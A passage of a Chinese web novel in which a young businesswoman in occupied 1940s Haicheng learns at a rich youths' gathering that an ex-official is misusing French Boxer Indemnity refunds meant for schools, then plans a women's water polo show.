春妮曾经跟她在江家举行的宴会中有过两面之缘。 在春妮的印象里,这是个喜欢穿蕾丝洋装裙,戴船式淑女帽的典型海城富家小姐, 其他的就什么都不清楚了。毕竟她两次都跟着方校长混在男宾席里, 并没有跟江婉玉说过两句话。 方校长得知有女孩子邀请春妮出去聚会,特地让师母和夏风萍陪着她去先施买了套春夏时兴 的洋装和帽子,还买了双米白色的半跟玛丽珍皮鞋。为了这次的聚会,春妮生平第一次被两个逛发了兴的妇人拉去理发店烫了头发,买了口红和眉笔。要不是春妮死活扒着门框不肯再进去,这两个女人还要给她买寇丹做指甲按摩绞脸一条龙。 不知道这些妇人们对打扮青涩小少女是不是都有异乎寻常的热情,春妮的妆奁几近于无, 夏风萍又借了她一对珍珠耳环,一枚珍珠发卡和一枚金雀鸟的胸针让她充场面。因为她本来就有只表, 总算逃过了夏风萍那一匣子黄白翠蓝手镯的试戴体验。 两个女人打扮春妮打扮得兴起,后来还加上了桂香和王老师,这个说她的头发要偏分,那个说, 她还要再买件风衣,那个再说……春妮被吵得一个头两个大。 到出门时, 她穿着夏风萍的驼色风衣,拎着王老师借她的坤包,还喷了点桂香私藏的香水, 带着一身香风坐上校长提前叫来的出租车,于下午两点钟赶到了江家位于法租界的一处寓所。 踏入江家大门, 春妮就明白了,为什么夏风萍死活要拉着她打扮得像只新抛了光的花瓶。 以前春妮的衣裳由方校长报销,她一个小姑娘, 陪方校长应酬,原本就不好打扮得过于花枝招展引人误会。因而方校长只简单给她做了两件大衣,两身绒布旗袍,每回带她出去都是素着脸出门。十三四岁的小姑娘,青春是最好的妆点,没有人就她的穿着作过评论,她也就一直这样不伦不类地打扮了下来。 她原先素面朝天的那个样子,显然参加少年少女扎堆的读书会是不合适的。 在春妮进门之前,这处高级公寓已经来了七八个人。五个女孩子,三个男孩子。 男孩们一溜水的大背头,背带裤。女孩儿们都穿着英伦风的洋装,薄施脂粉。听见玄关处的动静,屋里的人齐齐回过头来。 “就差你一个人了。”江婉玉越众而出,过来挽住春妮的手,同众人介绍:“这位就是我跟你们说过的密斯顾,都来认识认识吧。” “密斯顾,”一个笑容甜甜的女孩子同她打招呼:“我是邹晶玉,还记得我吗?” 春妮含笑问她:“我们是不是在郁处长家的宴会上见过?”她出席的应酬场合,除非是家宴,很少有男人会带未婚小姑娘出席。邹晶玉显然很受家里人宠爱,那回是跟着她父亲去的。 邹晶玉直点头:“本来我那天想找你说话的,不过看你很忙,就没有上去打扰你,我还以为你不记得我了。” 江婉玉笑着推开邹晶玉:“好啦好啦,别什么话都让你说了,密斯顾还没跟其他人认识呢。” “我想不用了,顾老师,你还记得我吧?曹明彰,我们三天前还在张绅士家见过。”三个男孩中,个儿高的那个主动同春妮攀谈。 “这位就是大名鼎鼎的顾老师?”另外一个男孩子凑上来,好奇地看她:“我听我哥哥说起过,你做生意很厉害。你是怎么做的?” 春妮惊奇地发现,不知从什么时候起,她在海城的名声居然都传得这么广了,原以为不会有交集的富二代们不是听说过她,就是在某个场合见过她。 甚至还有小开酸溜溜地说:“这几个月,我爸可没少在我面前说你好话。咱们哪,在你面前,全都成了这个。”他倒竖大拇指,无奈地耸了耸肩。 其他人嘻嘻哈哈笑起来:“秦伟,你在你爸眼里,什么时候不是这个?反正你又不在乎被你爸这么说。” 秦伟正要反驳,这时,一直站在稍远地方的女孩子插了嘴:“密斯顾,我们是不是在哪见过?” 春妮这才留神看了她一眼,恍然道:“唐宝芸,唐小姐你怎么在这?” 春妮提醒她:“去年夏天,咱们坐同一班船去的港城,你忘了吗?” 唐宝芸回忆片刻,恍然笑道:“唉呀,原来是你啊。婉玉说今天要来个密斯顾,我竟不知道是你。我后来不是让你去我姑妈家找我玩?你怎么没去?” 春妮歉意道:“对不住,我实在是太忙了。等我回海城时,已经到九月中,你都开学了。” 唐宝芸嗔道:“我还特意跟我姑姑的管家交代过,让他们听见你的名字放你进去的,我竟是白抛心意。” 春妮只能再三道歉。她那时的确忙得脚不点地,哪来的时间去跟小女孩聊天聚会?不过谁能想到,萍水相逢的人还会再有所交集? 唐宝芸也不是认真跟她计较,又邀请她道:“那你下回记得找我玩,婉玉知道我家在哪。” 这时,其他人才插话过来:“密斯顾也去过港城?唉呀,那岂不是说,咱们这些人里,只有我一个土包子没去过啦?” 另一人道:“港城又不是什么好地方,好些地方没正经的大马路,没去过也不值得稀奇。对不对,密斯顾?” “你们不用叫密斯顾,叫我春妮就好了。”春妮道。 来参加今天的聚会,春妮设想过无数个会出现的场面,就是没想到眼前这和谐的一幕。 夏风萍曾跟她说过,那些富家小姐成天争奇斗艳,少爷们则是炫富寻欢,十分无聊。在春妮的想象中,今天她就是不会面临刁难,也没几个人愿意答理她。 她作好了应付完赶紧走人的准备。 没想到的是,江婉玉和她的朋友们并没有她想象中的高高在上。他们保持着不热情也不冷淡的态度跟春妮说话,聊的都是些学业课程之类的话题。也没忘记今天的读书会,由一位文静的女学生读了一些雪莱诗的选段和莎士比亚十四行诗《爱是亘古长明的灯塔》,在女孩子富有韵律的朗诵声中,邹晶玉走到客厅靠阳台的钢琴面前,即兴弹奏了一曲轻快的小调作为伴奏。 朗诵完毕后,每个人发表了一小段关于这些诗歌的意见。 听着这些少年少女话里对爱情的憧憬,还有空气中涌动的,若有若无的暧昧,春妮觉得自己都好像年轻了不少。 他们应该照顾了春妮,读完一小段书,几个人聊了一会儿电影,见她明显跟不上他们的话,很体贴地又转移了话题。 有人问春妮:“密斯顾不打算再上学了吗?” 春妮道:“我的校长他们在教我,在我们学校读也不错的。” 江婉玉赞同道:“现在外面不安全,女孩子就近读书也挺好的。” 他们开始谈论自己对学业的展望,这八个人中,有三个女孩子读完了中六。其中两个,家里人不打算让她们再读下去,已经在为她们相看人家,等毕业证到手后,就准备结婚了。 还有一个就是唐宝芸。 春妮听那个叫曹明彰的男孩子问她:“宝芸还没决定好,毕业了准备上哪里的学校吗?” 唐宝芸神色纠结:“我们校长建议我去巴黎,他会帮我写巴黎大学的推荐信。可我爸爸说,欧洲最近形势不好,不让我去。他叫我姑姑在港城帮我物色学校,我不想在港城读书。” 曹明彰忙道:“伯父顾虑得很是。最近德国人在欧洲很嚣张,东欧北欧被他们打了个遍,我们都认为,他们很有可能会进攻西欧。” “西欧?那不是英国和法国都危险了?”原本闲聊的气氛顿时紧张起来。 “明彰,你不要净说夸张的话。英国人这么厉害,德国人怎么敢惹他们?”秦伟有不同意见。 女孩子们则不知所措地望着两个男孩突然的争执。 在她们的记忆中,英国法国都是无法想象的强大国家。她们喷着法国香水,用着英国茶具,学外文都讲英伦腔,这样的国家怎么会面临外敌之侮? 曹明彰道:“英国人厉害,那是以前的事了。现在早就是德国人的天下。波兰可是欧洲第二陆军强国,可德国人只用三十天就让波兰亡国。而且,美国人和俄国人在战争开始都声明不参战,摆明坐观龙虎斗。我看,这次他们真的是悬了。” 这些富贵人家出身的女孩子平时不怎么关心国际局势,因而听得十分入神。 几个男孩子被女孩子们崇拜的目光注视着,越讲越夸张:“德国人的野心肯 定不止在欧洲大陆,他们现在还联合了意大利人,意大利海军的实力不比英国人差。到时候德国人跟意大利人联合,一个陆地和空军打击,一个在海上阻截,几个英国都死定了。” “那法国人呢?”男孩子们讲了半天没讲到法国,唐宝芸迫不及待地问。 “法国啊,”曹明彰像是不知道怎么说,耸了耸肩:“连我们前朝政府都能在镇南关打得他们抱头鼠窜,你觉得呢?” 镇南关位于华国和越南边境,镇南关大捷是前朝政府在对待欧洲外敌之时难得的胜仗,已经被编到历史课本上,不独男孩子,女孩子们也是知道的。 “那这么说,我真的去不了法国了?”唐宝芸小脸黯淡,颓然地靠坐到沙发上。 “宝芸,你别这样伤心。”不忍见唐宝芸这样消沉,曹明彰只好抓耳挠腮地安慰她:“说不定这些年法国人有长进呢?啊对了,你爸爸不是跟付鸿民熟识?他在法国有生意,你不如让你爸爸请教一下他近来法国的局势。” 付鸿民? 春妮不由坐直了身体。 第127章 127 资金 “付鸿民在法国有生意?他做了什么生意?”有人问。 “不知道。”曹明彰道:“我也是有一回跟我哥去中法实业银行办事, 在银行里遇到他,听他说的。” 春妮本想注意听听他们说的付鸿民,可惜曹明彰跟唐宝芸只提了这一句, 两个人很快转头说起了其他的事情。 春妮实在好奇付鸿民那一大笔来自海外的巨额汇款, 又问道:“你们刚刚说的付鸿民,他是有什么法国关系吗?” 这是来聚会之后,春妮主动提起的第一个话题。 邹晶玉皱了皱鼻子:“你怎么也在问他?” “他不是跟我们学校有合作的项目吗?”春妮随意道:“我想多了解一下合作伙伴。” 邹晶玉便露出一言难尽的神色:“我不喜欢这个人,你们学校怎么会想到跟他合作?” “正好我们学校想托人写字帖,付先生介绍我们认识了周景山。”春妮简单解释一句,隐去了他们认识的经过。 “说起来,姓付的是前教育大员, 你们学校找他真是找对了,他肯定认识很多业内的人。”邹晶玉道。 “咦, 是啊,付鸿民不是前教育部长吗?他怎么没跟着一起撤退到海城?”终于有其他人代春妮问出了这个问题。 “我知道我知道。”唐宝芸举起手抢答:“他跟我爸爸说过,政府让他留下来主持海城的教育问题。” “海城都失陷了,他怎么主持?”江婉玉也加入了几方谈话。 “这我哪知道, 他只跟我爸爸说了这些。”唐宝芸道。 “他什么都没做吧?前两年我们海城的教育界损失这么严重,也没看他站出来为我们提供过庇护。他这样说, 肯定是在为自己贴金。”邹晶玉不掩厌恶地道。 “可这种局势,本来什么都不好做嘛。倭国人连大学校长都刺杀,简直是疯子。”也有人提出了不同的意见。 几个人猜测了一会儿, 没人给出肯定的答案,很快又换了话题。 看来, 这群富家子弟并没有正式加入到大人的世界,什么都不知道。 姓付的只是跟风投资了一些生意,出手却比海城大部分富人都豪阔……这里面的秘密, 她不相信没有人探究过。 就像唐宝芸的父亲那样。 而付鸿民也不像在刻意瞒着人,毕竟在人来人往的拍卖厅外面,他和他的仆欧都能轻松说起这件事。 是什么钱,既不像见不得人的秘密,却又不是什么人都知道? 春妮觉得,这件事越深挖越有意趣。或许,她以后有了空闲,应该多参加一些类似的聚会,总会有人知道一言半语。 女孩子们的话题已经从诗歌转移到了哪里的商场有了新货,春妮听了一会儿,站起来走到阳台上透气。 江婉玉说,江家位于英租界的花园洋房经常有客人到访,特别是她和兄弟姐妹们长大后社交变多,家里便为她在这里准备了一间高级寓所,专门用于跟朋友们聚会。 这间位于法租界的高级寓所有着全海城甚至是全华国最先进的上下水系统和煤气设备,春妮和他们聊天时,厨房里时不时飘来香甜的味道,那是提早到公寓为他们烤制甜点的法国厨子在工作。 聊到半途,江婉玉拍拍手,戴着白领结的侍者端起托盘,在铺着蕾丝桌布的长餐桌上为他们摆放红酒和蛋糕,这些都是在外面买不到的好东西。 “我好不容易问哥哥要来的波尔多红酒,大家都来尝尝。”说到红酒,江婉玉眨眨眼,笑得像个刚刚恶作剧完毕的小女孩。 偷点时间,抛开世俗中的一切,单纯享受美食与美酒,的确让春妮感到放松和开心。 难怪有那么多人明知形势恶劣,或许明天就会死于非命,仍然在明天到来之前,选择将自己灌醉。 这的确是个美好的下午。 春妮咬了一口香软可口的松饼,听见有人向阳台走了过来。 “要不要来一杯?”秦伟向她晃晃手里的葡萄酒杯。 春妮摇摇头:“你喝吧。” 这间小阳台长不到一米,两个不熟悉的人站在一起,显得有些拥挤。 她转过身,预备将空间让给他一个人。 “唉,我听说,你参加的投资从来没有失败过。是不是真的?”他叫住春妮。 能在这间屋子里相聚的人,无一不是海城华商界顶级富商家庭出身。在这种家庭长大的孩子,追逐金钱利益已经成为本能。他们肯这样迁就春妮,无非就是看在传说中她点石成金能力的份上。 否则,这个来自乡下的小土丫头怎么可能进得了这个门?世界哪里又会有这样美好。 “这怎么可能?我又不是神仙。”春妮失笑。 “我爸爸很少这样夸奖一个女孩子,”秦伟肯定地道:“他从来没这么夸过一个人,你一定有什么特殊的地方。我虽然在读书,可也知道,战前的海城遍地都是黄金,现在嘛,想在这赚到钱,除了每天翻过苏河倒买倒卖,其他的,很难。” 好像不说点什么,都有点对不住他这么高的赞誉。 春妮想了想,实事求是地道:“我只不过在做项目之前会进行市场调研,根据调研结果来决定我的投资方向。” “哦,那你是怎么想到要做多米诺的?”这个叫秦伟的男孩子对她了解不少啊。 春妮意外地看了他一眼:“那不过是个偶然。”她简单讲了下多米诺跟纳尔逊的渊源,说道:“恰好我们学校是木工学校,做多米诺也方便,就一直做了下来。” “这么说,现在英国人俱乐部里流行的多米诺比赛跟你们有关?”他意外地敏锐。 这个问题,春妮就不好多说了。这是她和纳尔逊之间的交易之一,他们负责提供搭建多米诺的人才和思路,纳尔逊则借主持各类比赛的机会扩大交际圈子,属于双赢。 秦伟不勉强她一定给出答案,兴致勃勃地问道:“你们工厂最近还有没有新项目?” 自从多米诺成功后,很多知道春妮背后身份的人都问过她类似的问题。她应付这些话已经驾轻就熟,正要说些套话糊弄他。秦伟又道:“对了,你刚刚问的付鸿民,我恰好知道些东西。你有没有兴趣?” 春妮道:“我们是合作伙伴嘛,当然对伙伴的资金问题会有些担心。” “我明白,”秦伟呷了口酒,道:“如果你是担心这个 ,那我可以肯定地告诉你,他的资金没有任何问题,他手上有很稳定的现金来源。” 这春妮当然知道,他这句话,像什么都没说。 她决定加大试探力度:“是双城那边的拨款?” 秦伟诧异地看她一眼:“你知道的不少嘛,竟然没猜他的投资问题。双城拨款应该也有,但双城政府这么穷,大头肯定不在这里。你知道的,他们这些政府大员在骗拨款上很有一套。” “哎,你们两个,进来玩牌了。”房间里,江婉玉招呼他们。 “我等会儿来。”春妮答应一声,问道:“那他还会有什么渠道?” “我可以帮你留意一下。”秦伟笑了笑,又说了一遍:“要是下次你们有什么项目,带我一个,怎么样?” “喂,你们到底来不来啊?”女孩子们又催了起来。 “我喝酒,你们自便吧。”秦伟扬了扬酒杯。 “就来。”春妮匆匆答应一句,不打算接他这个话茬。 有没有投资,她说了又不算,得看市场和学校的计划。学校最近在全力为夏天的睡美人作前期准备,恐怕是没有功夫研发新项目的。 进屋之前,秦伟对她笑笑,右手握拳,大拇指指和尾指伸直,放到耳边,对她作了个“call you”的口型。 结束跟江婉玉的聚会,春妮又单独接到了唐宝芸,邹晶玉等四五个人的邀约。有约她喝下午茶的,有约她逛街的,还有约她去俱乐部打枪的……最后一个邀请来自曹明彰。他在电话里告诉春妮,他有个叔父是他们那一片救火会的会长,如果学校有什么难题,可以找他叔父帮忙。 春妮秒懂,放下电话,给曹明彰的那位叔父打了个电话,学校这个月交的救火费顿时回复到了义卖会举行之前的水准。 世界在春妮面前忽然变得很善良。 这些邀请,春妮都先放在了一边,第一个选择赶赴跟秦伟的喝咖啡邀约。 闸口路咖啡馆 秦伟仍然是那副玩世不恭的样子,歪坐在咖啡座上,对春妮笑道:“你可想好了,该怎么谢我?” 春妮笑:“秦少爷收获不小?” 秦伟并没有卖关子,道:“我查出来了,付鸿民那笔来自法国的巨额款项,它原本是法国支付给我们政府庚子赔款的退款。” 庚子赔款,那是…… 春妮愣在当场,她作过很多猜测,就是没想到是这个答案。 秦伟以为她不懂,解释道:“本世纪初,不是北边闹了一场义和拳杀洋人的事吗?当年英美法意日德奥俄这八个国家杀入京城,逼迫前朝政府签订了一个停战和约。其中有一条,他们要求我国在四十年内赔付总计超过四亿五千万两的白银,这就是庚子赔款的由来。但这笔钱,你知道的,实在太多了,华国这么穷,真要是赔出来,天下肯定会大乱。” 不赔也乱得差不多了。春妮默默吐槽了一句。 听秦伟接着道:“后来这一条经过我国的斡旋,八国答应停止赔付,并退赔超出其损失的那部分。” “给出去的钱,想拿回来不容易吧?”春妮问道。 “不错,”秦伟道:“法国从十五年前开始,每年都会退还一部分款项,这笔款项被指定了用途。其中一部分冲抵华国在中法实业银行的借款,另一部分拨付到慈善,最后一部分,则用于教育。” 春妮舔了舔嘴唇,意识到秦伟接下来的话将会是重磅。 “因为法国坚持拨款只走中法实业银行的渠道,而全华国只有海城有中法实业银行。付鸿民就是受教育部委托,留在海城,跟进这笔款项退拨和使用的专员。” “这件事是真的?” “当然是真的。你随便找一个旧政府教育部官员,他们都知道。这不是什么秘密,但也不是什么人都有权限知道。”对春妮的质疑,秦伟有些不满。 “然后,他这笔钱,全部拿来包戏子捧明星养姨奶奶?”春妮几乎是从牙缝里挤出这句话。 在每时每刻都有孩子失学死去的海城,有人竟不声不响,拿着这笔从华国人身上掠夺来的血汗钱挥霍无度! 秦伟这才发现,这个似乎只会笑的女孩子,她的脸色青得可怕。 第128章 128 愚弄 但凡一个经历过末世的人, 对痛苦和不幸的忍受力就会变得很高。 所以,这世上能让春妮感到愤怒的事,非常少。 到海城两年多, 近三年的时间, 春妮一直在面临问题,解决问题的路上奔波。然而,真正能引发她怒火,让她失态至此的事,只有这一件。 哪怕三年前她刚到海城,发现顾茂丰不负责任地一走了之,也没有这样愤怒过。她在末世见多了被抛弃的孩子, 从来不认为父母天生便应该对孩子付出。她从未得到过,也从未渴望过, 便谈不上愤怒它的失去。 可当你发现,有一件你费尽心机,千方百计弄来的东西本来就该属于你,你还不得不为此感恩戴德, 谁会真正开心得起来? 付鸿民手上的这笔钱本该属于学校,属于学校的这群孩子! 姓付的不是不知道学校的艰难处境, 然而,他毫不心虚地拿着本该属于他们的拨款,将自己置身于救世主的层面上对他们颐指气使, 借机同他们谈条件,还拿着这笔钱, 让他们为他赚钱! 她竟然被这样一个无耻之徒给愚弄了。 一杯桔子汽水递到手边:“先喝杯水,你冷静一下。” 春妮咕嘟咕嘟,一口气喝干, 激爽清凉的桔子汽水并没有令她的怒火熄灭半分。 “那笔钱有多少?” “具体数额不清楚,你可以通过法方公布的数据估算。”秦伟举了举手:“好了好了,我知道,你想要精确数字是吧?我想想办法——我还没问你,你查这些干什么?查出来,这些钱也到不了你手上。” “这笔钱本来就是给我们的,它就算到不了我手上,我总有个知情权吧。” 秦伟沉默片刻:“好,给我两天时间。” “你再帮我查一个人。” “你想查谁?” “陈济。” “那个海西来的茶叶陈?他最近跟付鸿民走得很近。”秦伟果然有两手。 春妮点了点头:“就是他。你帮我查查,为什么他跟姓付的走的这么近。” “没问题。” 秦伟没有就这件事跟她谈条件,这令春妮对他的好感大增。 但她不想令对方对她有过高期待,斟酌片刻,道:“最近我们工厂忙着做夏季产品,恐怕没时间投资新项目,如——” 秦伟挥了下手,打断她道:“反正我也是闲着,帮你打听又不费什么事,你有好事别忘了我就好。” 这人是笃定她生了点金手不成? 春妮问他:“秦少爷想做生意,只要告诉家里人不就好了?怎么也比跟着我投资好吧?” 秦伟家里祖上是东南亚华裔,这两代在海城经营棉花生意,也兼卖大米,听说在越南还有大量土地。 因而,秦家跟高大海这样只能倒买倒卖的行商有着本质的区别,但凡物价有所波动,高大海们就会受到影响。但秦家这样的庄园主,只要不把土地败光,无论亏到什么程度,他们都有机会东山再起。 她虽然没打听出秦家在越南的生意有多大,但她知道他家跟法方关系很深。正因知道秦家在法国人那边有关系,她才没怎么质询就接受了他对付鸿民的调查结果。 能跟江家小姐来往的人家,不可能差到哪去。 在这个年代,棉花,粮食,煤炭,盐,糖,都是能直接换金子的硬通货。春妮想不通,他想做生意,随便从家乡贩点大米过来,转手就是数倍的利吧? 秦伟哼了一声:“我家里人会做什么?无非就是那几样,没趣得很,还是你的项目有趣一些。唉,我一直想问你,你是怎么想出‘睡美人’这个点子的? 要不是这消息来自我爸,别人给我说我都不信,你一个小姑娘能想出这样的主意。” 春妮:懂了,大少爷嫌传统行业没意思,想找点新鲜感。 ………… 从咖啡馆出来,春妮没回学校,先去了租界西区的俘虏营。 迫于连德江的压力,学校没再将探访俘虏营当作一项教育任务布置下去,要求学生们必须去参观。但私下里,去看望他们的学生和老师们从来没断过。 去看白云铠的人中很多带着礼物,因此,那些白俄营兵们并不禁止他们的探视。 大概因为俘虏宫跟商团的靶场在一起,不知什么时候起,春妮遇到什么事,也习惯了到俘虏营坐一坐,跟白云铠这位昔日的战场豪杰说说话。 现在睡美人的开工进入前期准备,学校又有了光明正大的理由给这些俘虏们送补给。春妮去时,李铁柱正开着卡车进入营地。 或许是想到这些俘虏又能为他们带来利益,负责监管的白俄营兵罕见地给出来见客的白云铠去掉了脚镣,还放了张大椅子让他坐。 春妮把从路上买来的包子递到他面前,沉默着,不知道怎么开口。 被囚禁将近四年,白云铠仍然保留着军人雷厉风行的行事作风。 他风卷残云地吃完包子,盯着春妮,肯定地下了结论:“这次是遇到大事了。” 春妮问他:“你知道庚子赔款吗?” 这件事,她也不知道该跟谁说。方校长是不成的,他还要跟姓付的打交道,如果让他知道这件事,往后行事一定会露相。但一个字不说,她心里又憋得慌。同理,韩厂长和夏风萍,这些学校的一干人都是如此,越是跟付鸿民认识的人,越不好让他们跟着一道焦心愤怒。 想来想去,只能找白云铠吐吐苦水。 白云铠瞪起眼睛:“瞧不起人是吧?我虽然读的是军校,文化课是没有大学生厉害。但这么大的事,还是知道的。” “各国退还庚款的多余部分,那你知不知道?” “当然知道了,我们那的美国人教会中学就是用美国退还的庚款修建起来的。这些洋鬼子都贼得很,拿我们的钱建洋鬼子学校,教出一堆小洋鬼子,我们还得感恩戴德,赞人家一句仁义大德。” 这就是春妮喜欢找白云铠说话的原因之一,他总是三言两语就能点出问题的本质。 “那你知道,其他国家庚款的退回款项都去了哪?” “你怎么想到问这个?”白云铠不答反问:“看来,你是知道了?你知道的是法国人,还是倭国人的?” 春妮吃了一惊:“你怎么知道?”他也猜得太准了吧! 白云铠咧了咧嘴:“这有什么难猜的,美国人和英国人的退款虽然年年支付,但都有定向监管,而且是指定项目,不好做手脚。俄国人放弃了赔款,但以前给了他们的,咱们也别想再要回来。还有比荷意这些国家,该还的都还了回来。最唧唧歪歪,牵扯不清的就是倭国人和法国人的退款。我敢发誓,这两国的退款要是没猫腻,明天这些白俄老爷们就暴病而死。” 春妮捧场地笑了两声:“白哥还是这么幽默。” “要叫叔。”白云铠不高兴地瞪她,接着道:“我猜你肯定知道的是法国人那边退款的去向。” 春妮不置可否:“你为什么这么猜?” “还能为什么?”白云铠神色有一刹那的阴沉:“倭国人现在恨不得困死双城政府,怎么可能愿意主动退钱回来?何况这个钱,从战前他们就开始扯皮。说是要用于培养华国到倭国的留学生,其实只有头一年派遣了三百多个留学生,剩下的,他们说他们将全盘监管退款去向。真是好笑,审案的是他,犯案的也是他,这个钱是怎么回事,还轮得着咱们说话?他们在北边开设的奴才学校,绝对是用咱们这笔钱养出来的!” “这种学校,现在海城也有了。” 春妮想起大前年刚到海城那阵子,那个经常买她馒头的倭国女人曾建议她带着夏生去上倭国人学校。说是一学期五块钱,书本费和学费都包在里面。 春妮不想让夏生去,却又不想得罪主顾,没有一口回绝。幸好后面有了免费的报童学校,否则不知有多少上不起学的学生要去读那五块钱的奴才学校。 原来,那么便宜的学费是因为用的他们华国人自己的钱在补贴。 说起时事,总是让人心怀苦闷。 春妮勉强笑了笑:“有理有据,白哥还是这么犀利。” 白云铠脸上没有猜对的欣喜,他叹了口气: “这个钱,你就当它不存在吧。法国人也不是好东西,你不知道,十几年前,他们提出让我们用金法郎先支付赔款,他们再退还多余的部分。但当年他们国家的货币贬值那样厉害,我们银元兑换法郎,只需要还五千万银元,用那个狗屁不存在的金法郎还,就要多还八千万。你想要这笔钱,还不如大白天做梦。”【注】 春妮将得到的消息跟他简单说了说,最后道:“不行,我心里堵得慌,没法当它不存在。” “那你打算怎么办?”白云铠听说过这个小姑娘的很多事,并没有将她当成一个普通的小女孩问。 他以为,春妮这么说,是有了办法。 可她会有什么办法呢? 白云铠心里觉得荒谬,如果她的消息属实,付鸿民必然已经打通上下关节。他深知双城政府官员的黑暗,他何尝不知道,自己落到今天这个地步,跟双城政府不无关系。如果不是为了救国,他不会放任自己陷入这样的困境。他觉得,自己有必要告诫这个小姑娘。 “这些年,双城政府上下贪污,已是蔚然成风。就连总统的家人也深陷其中,以至于总统府几次下令反腐,均不了了之。你——” 海城山高皇帝远,就算她有这个恒心,千里迢迢告状告到双城政府,也落不到她手上。最多不过是换个人,接着把它昧下来。 如此,付鸿民她也得罪透了。 如果他估算不错,这笔钱每年至少有百万之巨。夺人钱财如杀人父母,如果她真的搅黄了付鸿民这条财路,付鸿民和他身后的人也放不过她。 春妮忽地站起来:“我一定想得出办法。” “这不是想不想办法的问题——” 她制止白云铠再说下去:“你好好休息,我跟那些俄国人打好了招呼,等会儿给你们再送一批药过来。”说完,她转身离开了接客室。 第129章 129 生存 生活必须继续, 关于付鸿民的调查,却不是一时半会能够全部查清。 春妮或许没有白云铠了解双城政府,但想想就明白, 付鸿民能够顺利留在海城拿着这笔钱挥霍, 这里面必然是上下勾连串通,不是他一个人能够做得下这种大案的。 如果她真的想要这笔钱,至少要弄清这里面的关系,弄清这件事有多少人牵涉进去。还有法方打款的时间点,双城政府审核的流程和经手人,这些都是她需要了解的基本信息。 至于法国人每年退回的金额,秦伟两天后帮她打听了出来。 “扣除冲抵的华国政府欠款部分, 法国人每年分四次,定期退回约两百万法郎, 其中四成用于慈善,六成用于教育。怎么?你还真的想要这笔钱?” 两百万法郎,几乎等于两百五十万现大洋。即使落到付鸿民手里,也最少是一百万现大洋, 有了这一百万,学校至少能在十年之内不会因为缺钱而停课。 何况它是每年退还, 年年至少有一百万这么多! 有了这笔钱,哪怕学校遭遇绝境,也有翻身的资本。 当然, 这是最理想状况,说不定这一百万中, 付鸿民打点就用去了五十万。但即使只剩十万块,她也不想留在姓付的这种人手里。 春妮心里下了决心,脸上反而越发不显。 她叹了口气:“就算我想要又能怎样?这件事明显跟双城高层有关, 我不 要命了,去抢别人碗里的肉吃?何况我就是抢了,这肉能到我碗里吗?” 她说的也是实情。 秦伟看了她一会儿:“你明白就好,我还真怕你鬼迷心窍,干出以卵击石的蠢事。那么,这件事你到此为止了?” 春妮点点头,肯定:“到此为止了。” 真可惜,原本在这件事中,他能发挥更大的作用。那么,不通过秦伟,自己该怎么接着查下去? 从跟春妮认识以来,秦伟的行事一直很功利。包括他帮助春妮,也是因为他认为她身上有利可图。春妮请他帮着查一查这些不费功夫就能查出来的消息没问题,可若是请他干点别的,让他察觉出自己的真正目的,谁知道他会不会转手将自己卖给付鸿民? 这个人出身富贵,自己出不起钱封他口,也不能确定,他会不会听自己的话。 “那个陈济……” “我已经查过了,他家里就是普通的茶叶商人。如果说有什么特殊的,他大舅子是王季新的幕僚,不知道这算不算?” 王季新,那不是刚刚从双城政府叛逃出来,用双城政府元老的身份,在南城筹建新政府的大汉奸头子? 作为一个有秘密使命的双城政府官员,却跟汉奸的妹夫走得很近,甚至还可能在刻意讨好他。这是为什么? “那付鸿民最近跟陈济的大舅子有没有什么接触?” 秦伟嗤笑:“你还真以为我是包打听啊?能问出这么多,我已经很够意思了。” 春妮明白,大少爷是不满意自己总让他跑腿。如果自己再不给他点好处,他们俩的合作肯定要掰了。 虽然不打算让他再参与进自己的计划中,但秦伟这条人脉她也不想放弃。想了想,她问秦伟:“你知道水球吗?” 秦伟皱眉:“那是什么?水做的球?你们打算下一步投资体育赛事?可我不了解这些。哦对了,我差点忘了,你们还兼职做体育用品。你们工厂的业务挺广啊。”大家都半死不活的现在,他们的工厂反而越做越大,这让秦伟对春妮的这个建议抵触小了不少。 然而秦伟不说,春妮都没想起来,他们学校现在还接一些如棒球棒,跨栏,板球拍等木制体育用品。对比于战前海城等大城市蓬勃发展的体育赛事,这点订单也只是聊胜于无,但好歹说出去有点体育方面的人脉。 这样一想,春妮对她接下来的提议也有了点信心。 “最好不要做成严格意义上的体育赛事。”春妮将水球的基本规则给他解释了一下。 秦伟帮她打听消息的这几天,她也没有闲着,在空间的一堆书里找到了水球,将之记录下来,现在就派上了用场。 现在华国各方面都面临巨大的变革,特别是城市里开始提倡妇女解放,真正解放了多少被压迫的旧社会女性不好说。但女孩子们穿得越来越薄,“性”之一事也不再像以前一样,个个都晦莫如深。加上民国色|情业合法,相应而生的,除了海量的红灯区,就是譬如歌厅舞厅这些打擦边球的行业。与海城沦陷的百业萧条相比,是这些行业一天比一天的火爆。这样的火爆,就连香烟的牌子都要蹭个热度,叫“美丽牌”。 民国社会对美女,美色的消费沉浸在各行各业,春妮他们的“睡美人”何尝不是搭了点美色的热度?如今她想起来建议秦伟办水球比赛,无非也是同样的思路,只不过水球比赛较之睡美人麻将凉席更为露骨。 在大庭广众下观赏活色生香的美女湿|身,这无疑既夺人眼球,又刺激了一些人内心深处隐秘的欲望,如果真的能够办起来,不怕没人来看。 想想几年前,不过是南城一场大学生游泳比赛,就捧红了一条来参赛的女学生“美人鱼”,她的风头甚至盖过了当时的女明星。该女学生比赛期间,引得付鸿民还为她牵马执蹬,闹出的笑话让报纸连载了半个多月。现在有了更加刺激的水球比赛…… 秦伟不愧是花花公子出身,立刻就懂了:“一群美女穿着清凉的泳装在水下嬉戏打闹,果然有点意思。你打算怎么做?” “先找一些漂亮的,会游水的年轻女学生,把他们集中——”说到这里,春妮有些迟疑:“也不一定拘于女学生,只要是健康,身材匀称的年轻女性就好。” 从她说话开始,秦伟就坐正了身体,神色认真。 此刻听出她话里的犹疑,略一思索,忍不住猜测道:“你不会还想保护那些女学生吧?我先申明,你这个态度要端正,我们是水球运动,不是红灯区。现在一份好工作不好找,你信不信,若是我发出高薪招聘水球运动员的告示,多的是人挤破头也要来。” 春妮何尝不知道这一点?比基尼沙摊排球她都在电视里看过不知道多少回,哪里会觉得水球运动是个事?她顾虑的是,跟这些表演相伴的,通常会是强权,毒|品,乃至其他更破下限的东西。 不过秦伟有一点说得也对,现在海城经济不景气,多少女学生沦落到去向导社当向导,如果有一份水球运动员的工作,哪怕打了点擦边球,总比真的卖身要强。 生存,才是摆在普通人面前最要紧的问题。 只能宣传的时候尽量往健康,活力这些正面阳光的方向靠,表演时的规则设定也要尽可能严谨。 